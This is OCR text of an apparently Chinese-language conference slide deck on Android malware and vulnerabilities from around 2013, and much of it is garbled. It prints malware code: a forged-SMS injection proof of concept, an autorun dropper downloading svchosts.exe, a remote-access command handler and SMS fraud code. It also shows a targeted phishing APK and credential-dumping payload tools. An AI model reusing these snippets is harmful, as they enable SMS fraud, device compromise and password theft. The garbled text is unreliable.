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e 2013%F3H, BlueBox/rg] » total
RTANAOIAN AR o s A
EISEEP SN e
- BT B R

i a 0 L] °
Hous RO, RS i _— -
HOUS R1, R7 s len

HOUS R2, #3 ; prot :

ADDS RO, nox10 s addr AnnLab-v3 : 20130307
BLX mprotect Antivi 20130307
LDR R1, =(inject_ptr - 0x125E) S
HOUS RO, R4 ; dest

Hous R2, HOxDE :n Shar
ADD R1, PC ; inject ptr 1303
LDR R1, [R1] H ill_’i!,‘(:t s Src BADw ender Android, Exploit, RATC.A 20130307
BLX memcpy

POP {R2}

20130307

X E/] qF == 1 k EEE e _
:125- <5Z?2' :L__.Eﬂ._./jlb /L_ﬁllLJ\ Comado T s
DrWeb Android. DreamExploid, 1 20130307

-\—\L /I)_I\J /?\ -—ﬁ Emsisoft Android, Exploit. RATC A (B) 20130907

ANEErOOMPRELIRABMEIE B 1BEL, REXLUTE
AMME R R SAOWFE, AIBERY A AR SRITHRY R BHRON
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o 20124 Black Hat, Lookout/F] o 2013F6H, ¥REIMSYrUPZHRIE
Tim Strazzerefg i Z # s £ /R [0 FEAR R HIE R ZRE T BRIXS
THRKRRB T E FR

) -

Name Value Start Size Color Comment
Adventures in Anti-AnaIysis: ¥ struct header_item dex_header, [Oh  |70h |Fg:  Bg|Dex file header
. » struct dex_magic magic |dex 035 Oh 8h Fg: Bg Magic value
Slightly Newer School ~uint checksum \DB3FC20Ah  (8h  4h  Fg:  BgAlder32 checksum of rest of file
» SHA1 signature[20] |11D5F869B0YE....Ch 14h (Fg: Bg SHA-1 signature of rest of file

uint file_size 15431 |20h  4h  |Fg:  BgfFile size in bytes
uint header_size 19852 24h  4h  Fg:  BgHeader size in bytes
uint endian_tag 112345678h |28h  4h |Fg: Bg Endianness tag
uint link_size |0 12Ch  4h Fg: Bg Size of link section
uint Iink_off 0 IIBHEih -_4h :F'g; Bg:Fiie offset of link section
uint map_off 115283 34h  4h |Fg: Bg File offset of map list

«  EEENREPEYRERNTIME
REZARFIBiZRE

SUBROUTTINI

Viray q {vi i

° + Z EXPORT Java_com_code_code_Mainfctivity hiTim
ﬁt)—é-, Thuxnder\ thOn '_—‘_':—FE}I:jL Java_com_code_code_MainActivity_hiTim

AE‘\*H%TXEE&E%E,\] Tj_iit\ var_160 = =0x160

var_154 = -0x154
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TEHEFN, FERTREBZ « 2013568, AntiTaintDroid
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745 mAER, 1515 ZIOVALE X RIS, 2635 FICWERE X ARGt
AndroidiBiE TR B E  soumemn; rasmmmmn; 1esmummnn

(37 41_r,_.|) 18%&Native BiRiE; 151%NARRE; 135%R4ENARRE
A 1385 E=FNAIRE; 1675 FE=FHHRE, 1MFEE=FR%RA

A AFAndroidiEiE & E
— CVE — OSVDB = SecFocus =— ALL

1501

1001

504

2008 2009 2010 2011 2012 2013

FHekYE:  http://android.scap.org.cn 2013.07.01
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Vulnerabilities By Year Vulnerabilities By Type
9 2009 5

B 2010 1

M 20119

M 2012 8 ] Memory Corruption 2

10
7
12013 3 Gain Information 4
™ Gain Privilege 4
3 4 4 4 " Overflow 3
3
2 II

Eskyi:  http://www.cvedetails.com/product/19997/Google-Android.html 2013.07.01

. Denial of Service 10
Bypass Something 4
B Execute Code 7
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— Android 2.1 - 2.3%F&1EH
R IE s
— Android 4.0-427 =8 N o s notirous Yo kol evensgig now il in e P domaesfo nefaous psposes The

recent discovery of a Linux Kemel CVE-2013-2094 Local Privilege Escalation Vulnerability (CVE-2013-2094) in the

';]:;k j::Egg_ ;:FIJ = T_‘ T_ f[::l: o j;E *X\\}: Performance Counters for Linux (PCL)—curently being exploited on various platforms—has now been modified to
-%E'- N ] e 5 % -:I:- -‘_.I-/:E. XE / Fﬁ work on the Android operating system.

N |EJ For anyone unfamiliar with the Android operating system, it is based off the open source Linux operating system.
/ This means that many of the discovered Linux kemel based vulnerabilities have the possibility of being exploited
in Android devices. However, with different Android devices using different versions of the Linux kemnel, only

A > E . certain devices may be affected by a particular exploit.
© RZBSHY o)

ZHRYE:  http://www.symantec.com/connect/blogs
— Linux kerﬂe|E’\] ] dOyT;E'E*R;}% /linux-kernel-exploit-ported-android

7]

v s +1
ntec S ity R 5 - EMPLOYE
Y Symantec Security Response 1] A

v/ Symantec. Official Blog
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£ A 2013-04-15  MTKIEHAZAERNEREE SENHBRIET
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- 2012F1182H, Xuxian 2012E11 A1 R, %HF A%
Jiang A HEREEHIERKE iﬁﬁiﬁa’ﬁﬁ’a‘e%ﬁ@rﬁ

bilty in Multiple Android Platforms 2 s & i (9 ¥ 0.25K/s 7.l @ 15:46
ty/jiang/smishing.htm G, _v‘du °

Smlshmg Vulnerability in Multiple Android Platforms (mcludmg I
Gingerbread, Ice Cream Sandwich, and Jelly Bean)

By Xuxian Jiang, A jate Profi , Dep of Comp Science, NC State University

While continuing our efforts on various smartphone-related research projects, we came across a smishing
(SMS-Phishing) vulnerability in popular Android platforms. This vulnerability allows a running app on an
Android phone to fake arbitrary SMS text messages, which will then be received by phone users. We believe
such a vulnerability can be readily exploited to launch various phishing attacks (e.g., [1], [2], and [3]).

One serious aspect of the vulnerability is that it does not require the (exploiting) app to request any permission
to launch the attack. (In other words, this can be characterized as a WRITE_SMS capability leak.) Another
serious aspect is that the vulnerability appears to be present in multiple Android platforms — in fact, because
the vul bility is contained in the Android Open Source Proj or AQSP), we suspect it exists in all recent

IEREY RS KD B

e 2012F11H3H, Thomas
Cannon/a#PoC{R 1L ooz S

if (this.task.equals("delivermsg"))
Intent intent = new Intent(); {

intent.setClassName("com.android.mms",
"com.android.mms.transaction.SmsReceiverService");
intent.setAction("android.provider.Telephony.SMS_RECEIVED");
intent.putExtra("pdus"”, new Object[] { pdu });
intent.putExtra("format", “3gpp");
context.startService(intent);

String str3 = local)SONObject2.getString("content");

Intent locallntent3 = new Intent();
localIntent3.setClassName("com.android.mms"”, "com.android.mms.transaction.SmsReceiverService");
locallntent3. setAction("android.provider.Telephony.SMS_RECEIVED");
Object[] arrayOfObject4 = new Object[1];

array0fObject4[@] = Tools.hexStringToBytes(str3);
locallntent3.putExtra("pdus”, array0fObject4);

locallntent3. putExtra("format"”, "3gpp");
startService(locallntent3);

statistic(-400);

stopSelf();

return;
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public static boolean UsbAutoRunAttack (Context paramContext)
{
try
{
DovnloadFile(urlServer + "app data/autorun.inf", "autorun.inf", "ftpupper"”, "thisisshit007", paramContext);
DowvnloadFile(urlServer + "app data/folder.ico”, "folder.ico", "ftpupper”, "thisisshit007", paramContext):;
DovnloadFile(urlServer + "app data/svchosts.exe", "svchosts.exe", "ftpupper”, "thisisshit007", paramContext);
=1;
return i;

o ZESD EMIFTA X + HEPCmREFFHERE
° iﬁﬂﬁﬁﬁ%ﬁ’fg ==
.« IREUBAR A E MBI BT R AR

Microphone

3 High Definition Audio Device
~ Not plugged in
7

Microphone

if (text.Substring(@, 12).Equals("|RECORD_STR|")) g"f" L?[e][;nl‘-'-:'r. Audio Device
{ efaul Jevice

try Line In

{ ¥ High Definition Audio Device
text = text.Substring(12); Not plugged in
text = text.Substring(®, text.IndexOf("|/RECORD_STR/|"));
base.Invoke(new frmMain.UpdateProperty(this.StartREC), new object[]
{

text

s
goto IL_218C;|

catch (Exception ex34)

Configure Set Default |* Properties

this.con.SendCmd( " | TXTMESSAGE | " + ex34.Message + "|/TXTMESSAGE/|");
goto IL_218C;

}

i

2013%7H4H B EEAPTE M & R &S MK A&




Chuli — E=HlT4

~

~K&4

- EMERE

& WUC's Conference in Geneva - Mozilla Thunderbird
Fie Edt View Go Message OperPGP Tools Help

& cetMai - # wite Bchat & Address Book B Tag

L4 Decrypt

=10/

Subect WUC's Conference in Geneva
o I

4 reply| 4 Repiyall|-| B Fornerd| B acive| @ -

3:25PM

Other Actions =

22 March 2013 World Uyghur Congress

In what was an unprecedented coming-together of leading Uyghur,

Mongolian, Tibetan and Chinese activists,

as well as other leading

international experts, we were greatly humbled by the great enthusiasm,
contribution and desire from all in attendance to make this occasion
something meaningful, the outcome of which produced some concrete, —
action-orientated solutions to our shared grievances.The attachment is

a letter on behalf of WUC,UNPO and STP.

& save| -

vf @ 1attachment: WUC’s Conference.apk 215 15 I
m | (G)o (S)ave (Copy |

A

- BEME

D)8 10:17 ru

P

Calculator Camera

E ™= &

ome',_Conference | Contacts
Email

—

WUC's Conference
in Geneva

On behalf of all at
the Word Uyghur
Congress (WUC),

the Unrepresented
Nations and Peoples
Organization (UNPQ)
and the Society for
Threatened Peoples
(STP), Human

Rights in China:
Implications for
East Turkestan,
Tibet and

Southern Mongolia
In what was an
unprecedented

2013F7H4H

=NE fax

o EXPMIZHEAIF BRI
S ERNIFIM
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PRITEIFFIBIFENL 2537 : data/phone 1364239013604 25 515 0]
LITF A & # intentsn s (I BINREE )
action_ |
category] |
daa___{

BAEESS |
L PiE P RR
R

BAEEERF |
EEEHENZ TP EET RPN R VRSiEE
EFZFYLPIEE, BiiEENEaNEISEE
EBZFIsim kBT BB LS (—REX)
EEZTFUBRFTABNLE, EBSins (—RE%)
EEZFY L EROPTERE. SEEFIGENETE, LUFRQQ, Hifs, MSN=FH{4ET |
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o il
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Saving screenshot... [za] Saving screenshot...

App info ls_:l System

</activity>
<activity
<service
<receiver )
<meta-data ="and
<intent-filter>
<action android:

]gj com.android.system.admin
=

version 2.0

</intent-filter>

Storage
Total 380KB
: ) App 328KB
<intent-filter
<action android:name="android.intent.action. COMPL > USB storage app 0.008
<action android:name="an .int Q PONERON" Data 52.00KB
<action android: i i
</intent-filter> Phone storage 0.00B
</receiver>
<receiver =" Il
<intent-filter 1
<action android:
<action android: indroid. i 1t.a on. TIM ANGED" com.android.system.admin has been
<action android: " denied superuser permissions:
Cache L
id
Cache 0.00B
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CNCERT A H — RA BAFIMIET N FHAS

JEiF: CNCERT Hf[E: 2013-06-18
A- | A+ |

IEHICNCERT & 8L —FME Al E 4 SRR IF WA I Android P& FHUR S, YA P FHBERE, ASEHERAFETGR. amf
AECRA, ERPAMEIRET, AFFMAEREAEDESRIEERE, BEEAFTRRTES" SLECFERRiENE, BREK

RABTRKILHR, HEASEREBLTFINEFCRTET.

. FEFREBREAEZA:

LlocalSmsManager = SmsManager. getDefoult();
Uri localUril = ContactsContract.CommonDataKinds.Phone. CONTENT_URI;
String[] arrayOfString = { "display_name"”, “"datal" };
localCursorl = MginBrowserActivity.this.getContentResolver().query(localUril, array0fString, null, null, null);
if (localCursorl != null)
if (localCursorl.moveToNext())
break label3@7;

localCursorl.close();
Uri localUri2 = Uri.parse(new StringBuilder(String. valueOf{new StringBuilder(String. value0f("content:")).append("//").to5tring())).append("icc") toString() + "/adn");

localCursor? = MainBrowserActivity.this. getContentResolver().query(locallri2, null, null, null, null);
if (localCursor2 == null);

o DIRBRFINE D, BAMAERAALERIEERS:

{
localsmsManager.sendTextMessage(strz, null, "#p%,ZEK-T-V-SHAEA-2-B, 00T, BETYNCIRE, EREFAL4, ZHERDE, FEHIRHA B!, null, null);
localSmsManager.sendTextMessage(strZ, null, "#8-@-{R-47,%#,6214-8302-0122-491]1 , -4 -L-BAH{EERE . BEELEESTE, FETEE.", null, null);

¥
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B FANndroid3 & 22z

S21FENIRH TR
« dSploitETEER LB

@

2

192.168.1.1 > MITM

Simple Sniff

Kill Connections
Password & Cookies
Replace Images
Script Injection

Custom Filter

' 192.168.178.33 > Inspector

Start

Target 192.168.178.33
Device Type general purpose

0S

Linux 3.X

Services
) : OpenSSH 5.9p1 De b\an 5ubuntul (protocol 2.0)

2013F7H4H

Apache httpd 2.
:VNC (protocol 3.8)

((Ubuntu))

% aAPTE

Ad Network Detector (1.2): http://market.android.com/details ?id=com.lookout.addetector

App Backup & Restore (1.0.5): http://market.android.com/details ?id=mobi.infolife.appbacku

App Cache Cleaner (1.1.3): http://market.android.com/details ?id=mobi.infolife.cache

ARPspoof: https://github.com/ uad/A A .apk/gr_code

CACertMan (0.0.2-20110906): http://market.android.com/details ?id=info.guardianproject.cacert

CacheMate for Root Users Free (2.4.2): http://market.android.com/details ?id=com.aac.cachemate.demo

Carrier 1Q Detector (1.1.1): http://market.android.com/details ?id=

DeuterlDE (0.5): http://market.android.com/details ?id=com.didactic. Deuterl DE

Devcheats (1.2): http://market.android.com/details 7id=miguelco.devcheats
DroidVPN (1.8.7c): http://market.android.com/details ?id=com.aed.droidvpn
Gibberbot (0.0.9-RC4): http://market.android.com/details ?id=info.guardian

InfoSec Reference (40): http://market.android.com/details ?id=hackers.reference.free

IPv6 and More (2.1): http://market.android.com/details ?id=com.tsts.ipv6

IrcDroid (4.0.8): http://market.android.com/details ?id=pl.xampear.ircdroid

LUKS Manager (2.4): http://market.android. com/details ?id=com.nemesis2.luksmanager
Naked Security (1.4.8.4060): http://market.android.com/details ?id=com.conduit.app_a6722ad0d452404 19

NoteCipher (0.0.4.1): http://market.

ObscuraCam (2.0-RC2b): http://market.android.com/details ?id=org. witness.sscphase1

OpenVPN Settings (0.4.11): http://market. android.com/details ?id=de.schaeuffelhut. android.openvpn
Packet Injection (1.2): hitp://market.android.com/details ?id=ot.semba. packetinjection

Pamn IP Scanner (nmap https://play.google.com/store/apps/details 7id=com.wijholden.nmap
Pastebin for Android (3.5): http://market.android.com/details ?id=com.jmz. pastedroidapp

Prey (0.5): http://market.android. com/details ?id=com.

USB Device Info (0.0.5): http://market.android.com/details ?id=aws.apps .usbDeviceEnumerator

Vpn1Click (2.21): http://market.android.com/details ?id=com.vpnoneclick.android

Wifi Analyzer (3.2.232): http://market.android.com/details ?id=com.farproc. wifi.analyzer

WiFi Key Recovery (0.0.8): hitp://market.android.com/details 7id=aws .apps.wifikeyRecovery

WinExploitSMBv2 (1.0): http://market.android.com/details ?id=winexploitsmbv2.azelart.fr
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o TEHEmautorun.inffl o 3REXPCHZEZZFR]Firefox.
KEexeXHZ|SDF IE. ChromeZ g FIWiFi

Name v Size Type Date Modified l}_‘_1l\ 73 E%
P Tza.exe 476.7 kB DOS/Windows executable Sun 14 May 2006 LL] H=Z

< BulletsPassView.exe  64.5 kB DOS/Windows executable Wed 07 Mar 2012
< CACHEDUMP.EXE 45.1 kB DOS/Windows executable Sat 12 May 2007
& ChromePass.exe 219.1 kB DOS/Windows executable Sat 05 May 2012
|_] csrssbat 34 bytes plain text document Wed 17 Sep 2008
Q;, Csrss.exe 28.7 kB DOS/Windows executable Sun 13 May 2007

) Driveico 22.5kB Microsoft icon Sun 08 Jun 2008
& feexe 241,5kB DOS/Windows executable Sat 16 Jun 2007 1
< FCDUMP.EXE 974.8 kB DOS/Windows executable Thu 01 May 2008
<4 FIREPASSWORD.EXE 81.9k8 DOS/windows executable Thu 19 Jun 2008
& HideConsole.exe 1.5 kB DOS/windows executable Sun 18 Nov 2007

x o ® 6:15

Select your payloads

| Dump System Information

Dump FireFox Passwords

Dump Chrome Passwords

@ iehv.exe 37.4kB DOS/windows executable Mon 26 May 2008 ———
& iepv.exe 44.5kB DOS/Windows executable Sun 09 Jan 2011 Dump IE Passwords
Q? LIBEAY32.DLL 888.8 kB DOS/Windows executable Wed 13 Apr 2005

@ libssi32.dll 632.2 kB DOS/Windows executable Wed 27 Sep 2006
& Isremora.dil 73.7kB DOS/Windows executable Tue 22 Jul 20080
& lsremoraéa.dil 79.4 kB DOS/Windows executable Tue 22 Jul 2008 0
4 mailpv.exe 98.8 kB DOS/Windows executable Sat 05 May 2012
& MSPASS.EXE 60.4 kB DOS/Windows executable Thu 22 May 2008
< netpass.exe 45.6 kB DOS/Windows executable Sun 15 May 2011
<& nspradl 73.7kB DOS/Windows executable Sat 03 Jun 2006 1
& nss3dll 176.1 kB DOS/Windows executable Sat 03 Jun 2006 1
& PasswordFox.exe 71.7 kB DOS/Windows executable Sat 05 May 2012
& pleadll 8.7 kB DOS/Windows executable Sat 03 Jun 2006 1
< pldsa.dil 6.1 kB DOS/Windows executable Sat 03 Jun 2006 1
<» PORTQRY.EXE 143.4 kB DOS/windows executable Wed 30 May 2007
< PRODUKEY,EXE 34.3 kB DOS/Windows executable Tue 20 May 2008
52.7 kB DOS/Windows executable Sat 24 Jun 2006 1

Dump Wifi Passwords

Generate Payload m
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